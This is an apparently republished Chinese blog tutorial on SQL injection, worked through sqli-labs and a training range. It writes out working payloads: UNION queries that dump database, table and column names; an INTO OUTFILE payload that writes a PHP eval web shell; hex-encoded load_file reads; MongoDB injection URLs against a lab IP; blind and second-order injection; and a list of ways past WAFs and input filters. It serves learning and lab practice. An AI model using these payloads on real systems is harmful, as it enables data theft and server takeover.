web安全 浅谈sql注入
Posted 勒亦砾
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全 浅谈sql注入相关的知识,希望对你有一定的参考价值。
WEB漏洞 SQL注入
注入思路
mysql注入
- 信息收集
收集用户名,版本,数据库名等等为后续做铺垫 - 数据注入
1). 低版本注入:
暴力猜解,用ascII码进行猜字段等等
2). 高版本注入:
在mysql5以上的版本存在Information_schema库
3). 高权限注入
高权限注入时有更多的 攻击手法,有的能直接进行 getshell 操作。
首先要明确注入的用户
Root在数据库中是最高权限的注入 在高权限的用户下完成的注入可以实现跨库等等
通过查询root权限下的Information_schema表获得其他网站的数据库名,表名,列名等等
在root数据库权限下
首先获取数据库名字
/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
在获取challenges的表名
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27challenges%27
查询7zdly2237g表中数据
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27challengs%27
发现是空表……
如果这里不是空表则可以继续查询其他数据,比如如果有admin等等列名则可以继续查询admin的信息
?id = -1‘ union select 1,group_concat(column_name),3 from information_schema.colummns where table_name=’admin’ and table_scheam=’ 7zdly2237g’
文件读写操作
读取文件:select load_file(‘文件位置’)
一般来说是读取默认文件 或者 读取一些盘下的固定文件具体可以参考
https://blog.csdn.net/weixin_30292843/article/details/99381669
写入文件:select ‘内容’ into outfile 文件位置
先试试写入文件
?id=-2%20union%20select%201,%27%3C?php%20@eval($_POST[%22attack%22]);?%3E%27,3%20into%20outfile%20%27C:\\Phpstudy\\WWW\\3.txt%27%20–+
现在试试读取刚刚的文件
?id=-2%20%20union%20select%201,%20%20load_file%20(“C:\\Phpstudy\\WWW\\3.txt”)%20,3–+
获取路径的方法:
报错显示,当输入一些代码后导致报错,可以直接看见路径
遗留文件:phpinfo.php等等
漏洞报错:
平台配置文件:当知道对方是什么搭建的网站后进行猜测对方的配置文件
扫描爆破:爆破网站常见路径
常见的文件读写问题:魔术引号.
magic_quotes_gpc:
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\\)与 NULL(NULL 字符)等字符,都会被加上反斜线。
此时输入以上的代码
采用宽字节或者编码绕过
?id=-2%20%20union%20select%201,%20%20load_file%20(0x433a5c50687073747564795c5757575c73716c6c6962735c73716c692d6c6162732d6d61737465725c73716c2d636f6e6e656374696f6e735c64622d63726564732e696e63)%20,3–+
0x是用16进制编码,给计算机声明此编码为16进制
用编码绕过可以防止使用特定符号
相关防注入
-
魔术符号
-
内置函数:int等等
检测输入的字符含有什么
判断输入的字符是否含有危险字符,甚至判断输入的字符是否不是数字
使用is_int($id)函数判断是否为整数
这里判断id是否为整数
这通过所以显示false稍加修改则可让我们看不见回显信息.
-
自定义关键字:
如select,union等等
用内置的str_replace函数进行对关键字的替换和过滤
id = str_replace(‘select’,‘123456’,$id);将select替换成123456
执行后报错成为
-
安全防护软件:
安全狗,宝塔等等 -
绕过方法:
1).更改提交方式
2).大小写混合
3).解密编码类
4).注释符混用
5).等价函数替换
6).特殊符号混用
7).借助数据库特性
8).http参数污染
9).垃圾数据溢出
类型及提交方式注入
类型
就类型来说我认为区别不大,闭合方式不同所造成的注入语句不一样其中 SQL 语句干扰符号:’,",%,),等,具体需看写法
- 数字: 类似?id=1 这种形式的注入一般被叫做数字型注入,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。
- 字符: 类似?id=name这种形式,其注入点 name 类型为字符类型,这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’,值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。在注入时需要将引号处理掉。
- 搜索: 这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ ,在注入的时候需要过滤掉引号和百分号。
- Json
提交方式
1.)请求方法:
POST、REQUEST和GET的区别:
首先写入这个php文件,定义g用get传参,p用post传参
打开这个网站给两个变量分别传入参数
发现只有handsome显示也就是说只有get方式传入的参数显示
抓包发现,这个请求是用的get方式请求的数据,所以post方式无法使用
接下来换成post请求方式
这时两个参数都可以显示 说明在post方式中get依然可以使用,而request在任何时候都可以使用。![在这里插入图片描述](https://img-blog.csdnimg.cn/4d0ebf03e2fb4f80a04a8cc992e45df1.pngPost注入:
Sqllibs第十一关
其他数据库类型
Acesse,mssql,mongoDB,postgresql,sqllite,oracle,sybase等
注入工具:sqlmap,nosqlattack,pangolin等
Access数据库
表名
列名
数据名
Mysql,mssql等
数据库A
表名
列名
数据
数据库B
……
Access注入主要是猜,通过猜表名,列名来获取数据,只有一个数据库。
Access注入的偏移注入
MongoDb
Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的
这里用墨者的靶场开始演示:
输入’发现回显错误
根据源代码截图
构建注入语句:
http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:1,content:%272
爆出数据库名
http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:tojson(db),content:%272
爆出表名http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:tojson(db.getCollectionNames()),content:%272
这里使用了getCollectNames()查询现有的所有表
爆出字段
http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:tojson(db.Authority_confidential.find()[0]),content:%271
db.Authority_confidential是当前查询的表,find函数用于查询,0是第一条数据
报错及盲注
首先了解一下sql语句的截取常用函数
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
具体可以参考:https://www.cnblogs.com/lcamry/p/5504374.html
基于时间的盲注
这里用sqllibs 5演示
这里用and sleep(if(length(database())=8,5,0))–+
首先用length判断database的长度是否为8,再通过if返回结果,若为真则返回5,假则返回0,最后用sleep通过加载时间来判断是返回了5秒还是0秒
但是时间盲注可能会受到网络延迟的影响,一般不使用
布尔盲注
首先用length猜测长度
这里可以判断出数据库的长度为8
再用left判断数据库的version
这里可以判断version为5.5以上
再使用left判断数据库名称
这里跳过后续操作 得知数据库名为security
然后猜解列名
?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’–+
……
二次,加解密,dns注入
- 二次注入
二次注入就是首先插入恶意语句,等程序代入数据库执行后形成sql注入
大致是:在注册的时候使用admin‘ and 1=1,当数据库更新的时候执行updata 语句达成sql注入要形成二次注入一般需要代码审计
这里用Sqllibs 24关进行演示
首先在建立用户的时候建立admin‘#
注册成功后登录数据库查看
然后我们用admin‘#登录过后修改密码
通过数据库可以查看到admin的密码被修改了
而admin‘#的密码没有改变
- 加解密注入
加解密注入是因为注入点存在解密的情况,如果输入源内容在解密则实际输入的内容可能会与我们预期内容不符,这时候就需要加解密注入了
Sqllibs 21关
这里登录过后我们可以看到
Cookie是加密生成的
这里我们对cookie进行修改
uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
加密后
可以看到路径base的路径为c:/phpstudy/mysql/
uname=admin1’and extractvalue(1,concat(0x7e,(select database),0x7e))#
数据库名为security
Dnslog注入
可以解决盲注无法回显,效率低的情况
主要是利用load_file函数将数据外带出来
具体可以参考
https://www.cnblogs.com/Xy–1/p/12896599.html
堆叠注入
多条语句同时注入
Sqllibs-38
WAF绕过
绕过思路
提交方式绕过:
前提是被提交的方式必须是可以被接收的
如:get与post 用get方式可以在任意的提交方式中传输,而后台是用的post提交数据,若使用post则无法正常传入参数.
注释符号混用
Fuzz
用脚本不断生成请求包,成功返回的则绕过了,相当于暴力破解
白名单
Ip白名单
从网络层获取ip,若获取了客户端的ip,这样就有可能伪造IP绕过的情况
url白名单
以上是关于web安全 浅谈sql注入的主要内容,如果未能解决你的问题,请参考以下文章